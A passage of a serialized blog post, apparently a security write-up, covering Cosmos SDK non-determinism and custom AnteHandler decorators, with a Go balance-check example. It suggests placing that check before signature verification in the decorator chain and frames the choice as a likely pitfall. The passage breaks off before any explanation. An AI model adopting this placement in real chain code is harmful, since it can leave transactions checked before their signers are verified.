"value":706},{"type":23,"tag":41,"props":78337,"children":78338},{"style":94},[78339],{"type":28,"value":78054},{"type":23,"tag":41,"props":78341,"children":78342},{"style":70},[78343],{"type":28,"value":1559},{"type":23,"tag":41,"props":78345,"children":78346},{"class":43,"line":1058},[78347,78352,78357,78362],{"type":23,"tag":41,"props":78348,"children":78349},{"style":858},[78350],{"type":28,"value":78351},"        Version",{"type":23,"tag":41,"props":78353,"children":78354},{"style":70},[78355],{"type":28,"value":78356},":    ",{"type":23,"tag":41,"props":78358,"children":78359},{"style":858},[78360],{"type":28,"value":78361},"version",{"type":23,"tag":41,"props":78363,"children":78364},{"style":70},[78365],{"type":28,"value":3506},{"type":23,"tag":41,"props":78367,"children":78368},{"class":43,"line":1084},[78369,78374,78378,78382],{"type":23,"tag":41,"props":78370,"children":78371},{"style":858},[78372],{"type":28,"value":78373},"        StoreInfos",{"type":23,"tag":41,"props":78375,"children":78376},{"style":70},[78377],{"type":28,"value":1418},{"type":23,"tag":41,"props":78379,"children":78380},{"style":858},[78381],{"type":28,"value":78223},{"type":23,"tag":41,"props":78383,"children":78384},{"style":70},[78385],{"type":28,"value":3506},{"type":23,"tag":41,"props":78387,"children":78388},{"class":43,"line":1102},[78389],{"type":23,"tag":41,"props":78390,"children":78391},{"style":70},[78392],{"type":28,"value":192},{"type":23,"tag":41,"props":78394,"children":78395},{"class":43,"line":1110},[78396],{"type":23,"tag":41,"props":78397,"children":78398},{"style":70},[78399],{"type":28,"value":201},{"type":23,"tag":24,"props":78401,"children":78402},{},[78403,78405,78412,78413,78420],{"type":28,"value":78404},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":458,"props":78406,"children":78409},{"href":78407,"rel":78408},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[462],[78410],{"type":28,"value":78411},"time-sensitive functions",{"type":28,"value":1361},{"type":23,"tag":458,"props":78414,"children":78417},{"href":78415,"rel":78416},"https://github.com/cosmos/cosmos-sdk/issues/16638",[462],[78418],{"type":28,"value":78419},"race conditions",{"type":28,"value":706},{"type":23,"tag":446,"props":78422,"children":78424},{"id":78423},"thou-shalt-not-passor-should-you",[78425],{"type":28,"value":78426},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":24,"props":78428,"children":78429},{},[78430,78432,78438,78439,78445],{"type":28,"value":78431},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":37,"props":78433,"children":78435},{"className":78434},[],[78436],{"type":28,"value":78437},"msg.value",{"type":28,"value":970},{"type":23,"tag":37,"props":78440,"children":78442},{"className":78441},[],[78443],{"type":28,"value":78444},"msg.sender",{"type":28,"value":78446},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":24,"props":78448,"children":78449},{},[78450,78452,78458,78460,78466],{"type":28,"value":78451},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":37,"props":78453,"children":78455},{"className":78454},[],[78456],{"type":28,"value":78457},"Cosmos-SDK",{"type":28,"value":78459}," introduces ",{"type":23,"tag":37,"props":78461,"children":78463},{"className":78462},[],[78464],{"type":28,"value":78465},"AnteHandler",{"type":28,"value":78467}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":24,"props":78469,"children":78470},{},[78471,78473,78478,78480,78485],{"type":28,"value":78472},"To provide context, let's first understand how an ",{"type":23,"tag":37,"props":78474,"children":78476},{"className":78475},[],[78477],{"type":28,"value":78465},{"type":28,"value":78479}," is processed. Each ",{"type":23,"tag":37,"props":78481,"children":78483},{"className":78482},[],[78484],{"type":28,"value":78465},{"type":28,"value":78486}," is a state transition function that can:",{"type":23,"tag":5436,"props":78488,"children":78489},{},[78490,78495],{"type":23,"tag":421,"props":78491,"children":78492},{},[78493],{"type":28,"value":78494},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":421,"props":78496,"children":78497},{},[78498,78500],{"type":28,"value":78499},"Determine the course of action for the transaction.\n",{"type":23,"tag":5436,"props":78501,"children":78502},{},[78503,78514],{"type":23,"tag":421,"props":78504,"children":78505},{},[78506,78508,78513],{"type":28,"value":78507},"Pass the transaction to the next ",{"type":23,"tag":37,"props":78509,"children":78511},{"className":78510},[],[78512],{"type":28,"value":78465},{"type":28,"value":706},{"type":23,"tag":421,"props":78515,"children":78516},{},[78517],{"type":28,"value":78518},"Return error for transaction.",{"type":23,"tag":24,"props":78520,"children":78521},{},[78522,78524,78529],{"type":28,"value":78523},"The bad news is that developing an ",{"type":23,"tag":37,"props":78525,"children":78527},{"className":78526},[],[78528],{"type":28,"value":78465},{"type":28,"value":78530}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":24,"props":78532,"children":78533},{},[78534,78535,78541],{"type":28,"value":16601},{"type":23,"tag":37,"props":78536,"children":78538},{"className":78537},[],[78539],{"type":28,"value":78540},"AnteHandle",{"type":28,"value":78542}," implementation may look something like this:",{"type":23,"tag":31,"props":78544,"children":78546},{"code":78545,"language":76159,"meta":7,"className":76160,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[78547],{"type":23,"tag":37,"props":78548,"children":78549},{"__ignoreMap":7},[78550,78562,78578,78585,78592,78625,78649,78674,78690,78714,78746,78794,78813,78846,78867,78879,78886,78893,78900,78930,78966,79030,79064,79096,79108,79120,79127,79134,79141,79148,79190],{"type":23,"tag":41,"props":78551,"children":78552},{"class":43,"line":44},[78553,78557],{"type":23,"tag":41,"props":78554,"children":78555},{"style":64},[78556],{"type":28,"value":846},{"type":23,"tag":41,"props":78558,"children":78559},{"style":70},[78560],{"type":28,"value":78561}," (\n",{"type":23,"tag":41,"props":78563,"children":78564},{"class":43,"line":54},[78565,78570,78574],{"type":23,"tag":41,"props":78566,"children":78567},{"style":858},[78568],{"type":28,"value":78569},"    MIN_BALANCE",{"type":23,"tag":41,"props":78571,"children":78572},{"style":170},[78573],{"type":28,"value":3017},{"type":23,"tag":41,"props":78575,"children":78576},{"style":164},[78577],{"type":28,"value":19330},{"type":23,"tag":41,"props":78579,"children":78580},{"class":43,"line":76},[78581],{"type":23,"tag":41,"props":78582,"children":78583},{"style":70},[78584],{"type":28,"value":1969},{"type":23,"tag":41,"props":78586,"children":78587},{"class":43,"line":85},[78588],{"type":23,"tag":41,"props":78589,"children":78590},{"emptyLinePlaceholder":18},[78591],{"type":28,"value":82},{"type":23,"tag":41,"props":78593,"children":78594},{"class":43,"line":105},[78595,78599,78603,78608,78613,78617,78621],{"type":23,"tag":41,"props":78596,"children":78597},{"style":64},[78598],{"type":28,"value":76295},{"type":23,"tag":41,"props":78600,"children":78601},{"style":70},[78602],{"type":28,"value":142},{"type":23,"tag":41,"props":78604,"children":78605},{"style":858},[78606],{"type":28,"value":78607},"abd ",{"type":23,"tag":41,"props":78609,"children":78610},{"style":94},[78611],{"type":28,"value":78612},"AccountBalanceDecorator",{"type":23,"tag":41,"props":78614,"children":78615},{"style":70},[78616],{"type":28,"value":866},{"type":23,"tag":41,"props":78618,"children":78619},{"style":114},[78620],{"type":28,"value":78540},{"type":23,"tag":41,"props":78622,"children":78623},{"style":70},[78624],{"type":28,"value":3461},{"type":23,"tag":41,"props":78626,"children":78627},{"class":43,"line":155},[78628,78632,78637,78641,78645],{"type":23,"tag":41,"props":78629,"children":78630},{"style":858},[78631],{"type":28,"value":20212},{"type":23,"tag":41,"props":78633,"children":78634},{"style":94},[78635],{"type":28,"value":78636}," sdk",{"type":23,"tag":41,"props":78638,"children":78639},{"style":70},[78640],{"type":28,"value":706},{"type":23,"tag":41,"props":78642,"children":78643},{"style":94},[78644],{"type":28,"value":76344},{"type":23,"tag":41,"props":78646,"children":78647},{"style":70},[78648],{"type":28,"value":3506},{"type":23,"tag":41,"props":78650,"children":78651},{"class":43,"line":186},[78652,78657,78661,78665,78670],{"type":23,"tag":41,"props":78653,"children":78654},{"style":858},[78655],{"type":28,"value":78656},"    tx",{"type":23,"tag":41,"props":78658,"children":78659},{"style":94},[78660],{"type":28,"value":78636},{"type":23,"tag":41,"props":78662,"children":78663},{"style":70},[78664],{"type":28,"value":706},{"type":23,"tag":41,"props":78666,"children":78667},{"style":94},[78668],{"type":28,"value":78669},"Tx",{"type":23,"tag":41,"props":78671,"children":78672},{"style":70},[78673],{"type":28,"value":3506},{"type":23,"tag":41,"props":78675,"children":78676},{"class":43,"line":195},[78677,78682,78686],{"type":23,"tag":41,"props":78678,"children":78679},{"style":858},[78680],{"type":28,"value":78681},"    simulate",{"type":23,"tag":41,"props":78683,"children":78684},{"style":94},[78685],{"type":28,"value":12047},{"type":23,"tag":41,"props":78687,"children":78688},{"style":70},[78689],{"type":28,"value":3506},{"type":23,"tag":41,"props":78691,"children":78692},{"class":43,"line":905},[78693,78698,78702,78706,78710],{"type":23,"tag":41,"props":78694,"children":78695},{"style":858},[78696],{"type":28,"value":78697},"    next",{"type":23,"tag":41,"props":78699,"children":78700},{"style":94},[78701],{"type":28,"value":78636},{"type":23,"tag":41,"props":78703,"children":78704},{"style":70},[78705],{"type":28,"value":706},{"type":23,"tag":41,"props":78707,"children":78708},{"style":94},[78709],{"type":28,"value":78465},{"type":23,"tag":41,"props":78711,"children":78712},{"style":70},[78713],{"type":28,"value":3506},{"type":23,"tag":41,"props":78715,"children":78716},{"class":43,"line":922},[78717,78721,78726,78730,78734,78738,78742],{"type":23,"tag":41,"props":78718,"children":78719},{"style":70},[78720],{"type":28,"value":76377},{"type":23,"tag":41,"props":78722,"children":78723},{"style":94},[78724],{"type":28,"value":78725},"sdk",{"type":23,"tag":41,"props":78727,"children":78728},{"style":70},[78729],{"type":28,"value":706},{"type":23,"tag":41,"props":78731,"children":78732},{"style":94},[78733],{"type":28,"value":76344},{"type":23,"tag":41,"props":78735,"children":78736},{"style":70},[78737],{"type":28,"value":970},{"type":23,"tag":41,"props":78739,"children":78740},{"style":94},[78741],{"type":28,"value":14855},{"type":23,"tag":41,"props":78743,"children":78744},{"style":70},[78745],{"type":28,"value":152},{"type":23,"tag":41,"props":78747,"children":78748},{"class":43,"line":930},[78749,78754,78758,78763,78767,78771,78776,78781,78785,78790],{"type":23,"tag":41,"props":78750,"children":78751},{"style":858},[78752],{"type":28,"value":78753},"    sigTx",{"type":23,"tag":41,"props":78755,"children":78756},{"style":70},[78757],{"type":28,"value":970},{"type":23,"tag":41,"props":78759,"children":78760},{"style":858},[78761],{"type":28,"value":78762},"ok",{"type":23,"tag":41,"props":78764,"children":78765},{"style":170},[78766],{"type":28,"value":76411},{"type":23,"tag":41,"props":78768,"children":78769},{"style":858},[78770],{"type":28,"value":68023},{"type":23,"tag":41,"props":78772,"children":78773},{"style":70},[78774],{"type":28,"value":78775},".(",{"type":23,"tag":41,"props":78777,"children":78778},{"style":94},[78779],{"type":28,"value":78780},"authsigning",{"type":23,"tag":41,"props":78782,"children":78783},{"style":70},[78784],{"type":28,"value":706},{"type":23,"tag":41,"props":78786,"children":78787},{"style":94},[78788],{"type":28,"value":78789},"SigVerifiableTx",{"type":23,"tag":41,"props":78791,"children":78792},{"style":70},[78793],{"type":28,"value":1969},{"type":23,"tag":41,"props":78795,"children":78796},{"class":43,"line":939},[78797,78801,78805,78809],{"type":23,"tag":41,"props":78798,"children":78799},{"style":58},[78800],{"type":28,"value":2440},{"type":23,"tag":41,"props":78802,"children":78803},{"style":170},[78804],{"type":28,"value":12859},{"type":23,"tag":41,"props":78806,"children":78807},{"style":858},[78808],{"type":28,"value":78762},{"type":23,"tag":41,"props":78810,"children":78811},{"style":70},[78812],{"type":28,"value":102},{"type":23,"tag":41,"props":78814,"children":78815},{"class":43,"line":947},[78816,78820,78824,78828,78833,78837,78842],{"type":23,"tag":41,"props":78817,"children":78818},{"style":58},[78819],{"type":28,"value":161},{"type":23,"tag":41,"props":78821,"children":78822},{"style":858},[78823],{"type":28,"value":25842},{"type":23,"tag":41,"props":78825,"children":78826},{"style":70},[78827],{"type":28,"value":970},{"type":23,"tag":41,"props":78829,"children":78830},{"style":858},[78831],{"type":28,"value":78832},"errorsmod",{"type":23,"tag":41,"props":78834,"children":78835},{"style":70},[78836],{"type":28,"value":706},{"type":23,"tag":41,"props":78838,"children":78839},{"style":114},[78840],{"type":28,"value":78841},"Wrap",{"type":23,"tag":41,"props":78843,"children":78844},{"style":70},[78845],{"type":28,"value":3461},{"type":23,"tag":41,"props":78847,"children":78848},{"class":43,"line":985},[78849,78854,78858,78863],{"type":23,"tag":41,"props":78850,"children":78851},{"style":858},[78852],{"type":28,"value":78853},"            sdkerrors",{"type":23,"tag":41,"props":78855,"children":78856},{"style":70},[78857],{"type":28,"value":706},{"type":23,"tag":41,"props":78859,"children":78860},{"style":858},[78861],{"type":28,"value":78862},"ErrTxDecode",{"type":23,"tag":41,"props":78864,"children":78865},{"style":70},[78866],{"type":28,"value":3506},{"type":23,"tag":41,"props":78868,"children":78869},{"class":43,"line":1058},[78870,78875],{"type":23,"tag":41,"props":78871,"children":78872},{"style":735},[78873],{"type":28,"value":78874},"            \"invalid tx type\"",{"type":23,"tag":41,"props":78876,"children":78877},{"style":70},[78878],{"type":28,"value":3506},{"type":23,"tag":41,"props":78880,"children":78881},{"class":43,"line":1084},[78882],{"type":23,"tag":41,"props":78883,"children":78884},{"style":70},[78885],{"type":28,"value":68316},{"type":23,"tag":41,"props":78887,"children":78888},{"class":43,"line":1102},[78889],{"type":23,"tag":41,"props":78890,"children":78891},{"style":70},[78892],{"type":28,"value":192},{"type":23,"tag":41,"props":78894,"children":78895},{"class":43,"line":1110},[78896],{"type":23,"tag":41,"props":78897,"children":78898},{"emptyLinePlaceholder":18},[78899],{"type":28,"value":82},{"type":23,"tag":41,"props":78901,"children":78902},{"class":43,"line":1118},[78903,78908,78912,78917,78921,78926],{"type":23,"tag":41,"props":78904,"children":78905},{"style":858},[78906],{"type":28,"value":78907},"    signers",{"type":23,"tag":41,"props":78909,"children":78910},{"style":170},[78911],{"type":28,"value":76411},{"type":23,"tag":41,"props":78913,"children":78914},{"style":858},[78915],{"type":28,"value":78916}," sigTx",{"type":23,"tag":41,"props":78918,"children":78919},{"style":70},[78920],{"type":28,"value":706},{"type":23,"tag":41,"props":78922,"children":78923},{"style":114},[78924],{"type":28,"value":78925},"GetSigners",{"type":23,"tag":41,"props":78927,"children":78928},{"style":70},[78929],{"type":28,"value":7735},{"type":23,"tag":41,"props":78931,"children":78932},{"class":43,"line":1137},[78933,78937,78941,78945,78949,78953,78957,78962],{"type":23,"tag":41,"props":78934,"children":78935},{"style":58},[78936],{"type":28,"value":3034},{"type":23,"tag":41,"props":78938,"children":78939},{"style":858},[78940],{"type":28,"value":861},{"type":23,"tag":41,"props":78942,"children":78943},{"style":70},[78944],{"type":28,"value":970},{"type":23,"tag":41,"props":78946,"children":78947},{"style":858},[78948],{"type":28,"value":7145},{"type":23,"tag":41,"props":78950,"children":78951},{"style":170},[78952],{"type":28,"value":76411},{"type":23,"tag":41,"props":78954,"children":78955},{"style":58},[78956],{"type":28,"value":77394},{"type":23,"tag":41,"props":78958,"children":78959},{"style":858},[78960],{"type":28,"value":78961}," signers",{"type":23,"tag":41,"props":78963,"children":78964},{"style":70},[78965],{"type":28,"value":102},{"type":23,"tag":41,"props":78967,"children":78968},{"class":43,"line":1163},[78969,78974,78978,78983,78987,78992,78996,79001,79005,79009,79013,79017,79021,79026],{"type":23,"tag":41,"props":78970,"children":78971},{"style":858},[78972],{"type":28,"value":78973},"        balance",{"type":23,"tag":41,"props":78975,"children":78976},{"style":170},[78977],{"type":28,"value":76411},{"type":23,"tag":41,"props":78979,"children":78980},{"style":858},[78981],{"type":28,"value":78982}," abd",{"type":23,"tag":41,"props":78984,"children":78985},{"style":70},[78986],{"type":28,"value":706},{"type":23,"tag":41,"props":78988,"children":78989},{"style":858},[78990],{"type":28,"value":78991},"bk",{"type":23,"tag":41,"props":78993,"children":78994},{"style":70},[78995],{"type":28,"value":706},{"type":23,"tag":41,"props":78997,"children":78998},{"style":114},[78999],{"type":28,"value":79000},"getBalance",{"type":23,"tag":41,"props":79002,"children":79003},{"style":70},[79004],{"type":28,"value":1737},{"type":23,"tag":41,"props":79006,"children":79007},{"style":858},[79008],{"type":28,"value":20269},{"type":23,"tag":41,"props":79010,"children":79011},{"style":70},[79012],{"type":28,"value":970},{"type":23,"tag":41,"props":79014,"children":79015},{"style":858},[79016],{"type":28,"value":7145},{"type":23,"tag":41,"props":79018,"children":79019},{"style":70},[79020],{"type":28,"value":970},{"type":23,"tag":41,"props":79022,"children":79023},{"style":858},[79024],{"type":28,"value":79025},"ATOM",{"type":23,"tag":41,"props":79027,"children":79028},{"style":70},[79029],{"type":28,"value":1969},{"type":23,"tag":41,"props":79031,"children":79032},{"class":43,"line":1188},[79033,79037,79042,79046,79051,79055,79060],{"type":23,"tag":41,"props":79034,"children":79035},{"style":58},[79036],{"type":28,"value":3272},{"type":23,"tag":41,"props":79038,"children":79039},{"style":858},[79040],{"type":28,"value":79041}," balance",{"type":23,"tag":41,"props":79043,"children":79044},{"style":70},[79045],{"type":28,"value":706},{"type":23,"tag":41,"props":79047,"children":79048},{"style":858},[79049],{"type":28,"value":79050},"Amount",{"type":23,"tag":41,"props":79052,"children":79053},{"style":170},[79054],{"type":28,"value":758},{"type":23,"tag":41,"props":79056,"children":79057},{"style":858},[79058],{"type":28,"value":79059}," MIN_BALANCE",{"type":23,"tag":41,"props":79061,"children":79062},{"style":70},[79063],{"type":28,"value":102},{"type":23,"tag":41,"props":79065,"children":79066},{"class":43,"line":1979},[79067,79072,79076,79080,79084,79088,79092],{"type":23,"tag":41,"props":79068,"children":79069},{"style":58},[79070],{"type":28,"value":79071},"            return",{"type":23,"tag":41,"props":79073,"children":79074},{"style":858},[79075],{"type":28,"value":25842},{"type":23,"tag":41,"props":79077,"children":79078},{"style":70},[79079],{"type":28,"value":970},{"type":23,"tag":41,"props":79081,"children":79082},{"style":858},[79083],{"type":28,"value":78832},{"type":23,"tag":41,"props":79085,"children":79086},{"style":70},[79087],{"type":28,"value":706},{"type":23,"tag":41,"props":79089,"children":79090},{"style":114},[79091],{"type":28,"value":78841},{"type":23,"tag":41,"props":79093,"children":79094},{"style":70},[79095],{"type":28,"value":3461},{"type":23,"tag":41,"props":79097,"children":79098},{"class":43,"line":2002},[79099,79104],{"type":23,"tag":41,"props":79100,"children":79101},{"style":858},[79102],{"type":28,"value":79103},"                ErrInsufficientBalance",{"type":23,"tag":41,"props":79105,"children":79106},{"style":70},[79107],{"type":28,"value":3506},{"type":23,"tag":41,"props":79109,"children":79110},{"class":43,"line":3835},[79111,79116],{"type":23,"tag":41,"props":79112,"children":79113},{"style":735},[79114],{"type":28,"value":79115},"                \"Insufficient Balance\"",{"type":23,"tag":41,"props":79117,"children":79118},{"style":70},[79119],{"type":28,"value":3506},{"type":23,"tag":41,"props":79121,"children":79122},{"class":43,"line":3895},[79123],{"type":23,"tag":41,"props":79124,"children":79125},{"style":70},[79126],{"type":28,"value":77510},{"type":23,"tag":41,"props":79128,"children":79129},{"class":43,"line":9044},[79130],{"type":23,"tag":41,"props":79131,"children":79132},{"style":70},[79133],{"type":28,"value":3347},{"type":23,"tag":41,"props":79135,"children":79136},{"class":43,"line":9061},[79137],{"type":23,"tag":41,"props":79138,"children":79139},{"style":70},[79140],{"type":28,"value":192},{"type":23,"tag":41,"props":79142,"children":79143},{"class":43,"line":9106},[79144],{"type":23,"tag":41,"props":79145,"children":79146},{"emptyLinePlaceholder":18},[79147],{"type":28,"value":82},{"type":23,"tag":41,"props":79149,"children":79150},{"class":43,"line":9212},[79151,79155,79160,79164,79168,79172,79177,79181,79186],{"type":23,"tag":41,"props":79152,"children":79153},{"style":58},[79154],{"type":28,"value":1090},{"type":23,"tag":41,"props":79156,"children":79157},{"style":114},[79158],{"type":28,"value":79159}," next",{"type":23,"tag":41,"props":79161,"children":79162},{"style":70},[79163],{"type":28,"value":1737},{"type":23,"tag":41,"props":79165,"children":79166},{"style":858},[79167],{"type":28,"value":20269},{"type":23,"tag":41,"props":79169,"children":79170},{"style":70},[79171],{"type":28,"value":970},{"type":23,"tag":41,"props":79173,"children":79174},{"style":858},[79175],{"type":28,"value":79176},"tx",{"type":23,"tag":41,"props":79178,"children":79179},{"style":70},[79180],{"type":28,"value":970},{"type":23,"tag":41,"props":79182,"children":79183},{"style":858},[79184],{"type":28,"value":79185},"simulate",{"type":23,"tag":41,"props":79187,"children":79188},{"style":70},[79189],{"type":28,"value":1969},{"type":23,"tag":41,"props":79191,"children":79192},{"class":43,"line":23496},[79193],{"type":23,"tag":41,"props":79194,"children":79195},{"style":70},[79196],{"type":28,"value":201},{"type":23,"tag":24,"props":79198,"children":79199},{},[79200,79202,79207,79209,79215,79217,79223],{"type":28,"value":79201},"Where should this custom ",{"type":23,"tag":37,"props":79203,"children":79205},{"className":79204},[],[79206],{"type":28,"value":78465},{"type":28,"value":79208}," be placed relative to other ",{"type":23,"tag":37,"props":79210,"children":79212},{"className":79211},[],[79213],{"type":28,"value":79214},"AnteHandlers",{"type":28,"value":79216}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":37,"props":79218,"children":79220},{"className":79219},[],[79221],{"type":28,"value":79222},"SetUpContextDecorator",{"type":28,"value":79224}," should work, right?",{"type":23,"tag":24,"props":79226,"children":79227},{},[79228],{"type":23,"tag":458,"props":79229,"children":79232},{"href":79230,"rel":79231},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[462],[79233],{"type":28,"value":76734},{"type":23,"tag":31,"props":79235,"children":79237},{"code":79236,"language":76159,"meta":7,"className":76160,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[79238],{"type":23,"tag":37,"props":79239,"children":79240},{"__ignoreMap":7},[79241,79274,79291,79299,79328,79340,79352,79381,79409,79488,79521,79549,79594,79639,79667],{"type":23,"tag":41,"props":79242,"children":79243},{"class":43,"line":44},[79244,79249,79253,79257,79261,79265,79270],{"type":23,"tag":41,"props":79245,"children":79246},{"style":858},[79247],{"type":28,"value":79248},"anteDecorators",{"type":23,"tag":41,"props":79250,"children":79251},{"style":170},[79252],{"type":28,"value":76411},{"type":23,"tag":41,"props":79254,"children":79255},{"style":70},[79256],{"type":28,"value":76222},{"type":23,"tag":41,"props":79258,"children":79259},{"style":94},[79260],{"type":28,"value":78725},{"type":23,"tag":41,"props":79262,"children":79263},{"style":70},[79264],{"type":28,"value":706},{"type":23,"tag":41,"props":79266,"children":79267},{"style":94},[79268],{"type":28,"value":79269},"AnteDecorator",{"type":23,"tag":41,"props":79271,"children":79272},{"style":70},[79273],{"type":28,"value":1559},{"type":23,"tag":41,"props":79275,"children":79276},{"class":43,"line":54},[79277,79282,79286],{"type":23,"tag":41,"props":79278,"children":79279},{"style":114},[79280],{"type":28,"value":79281},"    NewSetUpContextDecorator",{"type":23,"tag":41,"props":79283,"children":79284},{"style":70},[79285],{"type":28,"value":18363},{"type":23,"tag":41,"props":79287,"children":79288},{"style":48},[79289],{"type":28,"value":79290},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":41,"props":79292,"children":79293},{"class":43,"line":76},[79294],{"type":23,"tag":41,"props":79295,"children":79296},{"style":48},[79297],{"type":28,"value":79298},"    // INSERT HERE\n",{"type":23,"tag":41,"props":79300,"children":79301},{"class":43,"line":85},[79302,79307,79311,79315,79319,79324],{"type":23,"tag":41,"props":79303,"children":79304},{"style":114},[79305],{"type":28,"value":79306},"    NewExtensionOptionsDecorator",{"type":23,"tag":41,"props":79308,"children":79309},{"style":70},[79310],{"type":28,"value":1737},{"type":23,"tag":41,"props":79312,"children":79313},{"style":858},[79314],{"type":28,"value":36033},{"type":23,"tag":41,"props":79316,"children":79317},{"style":70},[79318],{"type":28,"value":706},{"type":23,"tag":41,"props":79320,"children":79321},{"style":858},[79322],{"type":28,"value":79323},"ExtensionOptionChecker",{"type":23,"tag":41,"props":79325,"children":79326},{"style":70},[79327],{"type":28,"value":6735},{"type":23,"tag":41,"props":79329,"children":79330},{"class":43,"line":105},[79331,79336],{"type":23,"tag":41,"props":79332,"children":79333},{"style":114},[79334],{"type":28,"value":79335},"    NewValidateBasicDecorator",{"type":23,"tag":41,"props":79337,"children":79338},{"style":70},[79339],{"type":28,"value":3489},{"type":23,"tag":41,"props":79341,"children":79342},{"class":43,"line":155},[79343,79348],{"type":23,"tag":41,"props":79344,"children":79345},{"style":114},[79346],{"type":28,"value":79347},"    NewTxTimeoutHeightDecorator",{"type":23,"tag":41,"props":79349,"children":79350},{"style":70},[79351],{"type":28,"value":3489},{"type":23,"tag":41,"props":79353,"children":79354},{"class":43,"line":186},[79355,79360,79364,79368,79372,79377],{"type":23,"tag":41,"props":79356,"children":79357},{"style":114},[79358],{"type":28,"value":79359},"    NewValidateMemoDecorator",{"type":23,"tag":41,"props":79361,"children":79362},{"style":70},[79363],{"type":28,"value":1737},{"type":23,"tag":41,"props":79365,"children":79366},{"style":858},[79367],{"type":28,"value":36033},{"type":23,"tag":41,"props":79369,"children":79370},{"style":70},[79371],{"type":28,"value":706},{"type":23,"tag":41,"props":79373,"children":79374},{"style":858},[79375],{"type":28,"value":79376},"AccountKeeper",{"type":23,"tag":41,"props":79378,"children":79379},{"style":70},[79380],{"type":28,"value":6735},{"type":23,"tag":41,"props":79382,"children":79383},{"class":43,"line":195},[79384,79389,79393,79397,79401,79405],{"type":23,"tag":41,"props":79385,"children":79386},{"style":114},[79387],{"type":28,"value":79388},"    NewConsumeGasForTxSizeDecorator",{"type":23,"tag":41,"props":79390,"children":79391},{"style":70},[79392],{"type":28,"value":1737},{"type":23,"tag":41,"props":79394,"children":79395},{"style":858},[79396],{"type":28,"value":36033},{"type":23,"tag":41,"props":79398,"children":79399},{"style":70},[79400],{"type":28,"value":706},{"type":23,"tag":41,"props":79402,"children":79403},{"style":858},[79404],{"type":28,"value":79376},{"type":23,"tag":41,"props":79406,"children":79407},{"style":70},[79408],{"type":28,"value":6735},{"type":23,"tag":41,"props":79410,"children":79411},{"class":43,"line":905},[79412,79417,79421,79425,79429,79433,79437,79441,79445,79450,79454,79458,79462,79467,79471,79475,79479,79484],{"type":23,"tag":41,"props":79413,"children":79414},{"style":114},[79415],{"type":28,"value":79416},"    NewDeductFeeDecorator",{"type":23,"tag":41,"props":79418,"children":79419},{"style":70},[79420],{"type":28,"value":1737},{"type":23,"tag":41,"props":79422,"children":79423},{"style":858},[79424],{"type":28,"value":36033},{"type":23,"tag":41,"props":79426,"children":79427},{"style":70},[79428],{"type":28,"value":706},{"type":23,"tag":41,"props":79430,"children":79431},{"style":858},[79432],{"type":28,"value":79376},{"type":23,"tag":41,"props":79434,"children":79435},{"style":70},[79436],{"type":28,"value":970},{"type":23,"tag":41,"props":79438,"children":79439},{"style":858},[79440],{"type":28,"value":36033},{"type":23,"tag":41,"props":79442,"children":79443},{"style":70},[79444],{"type":28,"value":706},{"type":23,"tag":41,"props":79446,"children":79447},{"style":858},[79448],{"type":28,"value":79449},"BankKeeper",{"type":23,"tag":41,"props":79451,"children":79452},{"style":70},[79453],{"type":28,"value":970},{"type":23,"tag":41,"props":79455,"children":79456},{"style":858},[79457],{"type":28,"value":36033},{"type":23,"tag":41,"props":79459,"children":79460},{"style":70},[79461],{"type":28,"value":706},{"type":23,"tag":41,"props":79463,"children":79464},{"style":858},[79465],{"type":28,"value":79466},"FeegrantKeeper",{"type":23,"tag":41,"props":79468,"children":79469},{"style":70},[79470],{"type":28,"value":970},{"type":23,"tag":41,"props":79472,"children":79473},{"style":858},[79474],{"type":28,"value":36033},{"type":23,"tag":41,"props":79476,"children":79477},{"style":70},[79478],{"type":28,"value":706},{"type":23,"tag":41,"props":79480,"children":79481},{"style":858},[79482],{"type":28,"value":79483},"TxFeeChecker",{"type":23,"tag":41,"props":79485,"children":79486},{"style":70},[79487],{"type":28,"value":6735},{"type":23,"tag":41,"props":79489,"children":79490},{"class":43,"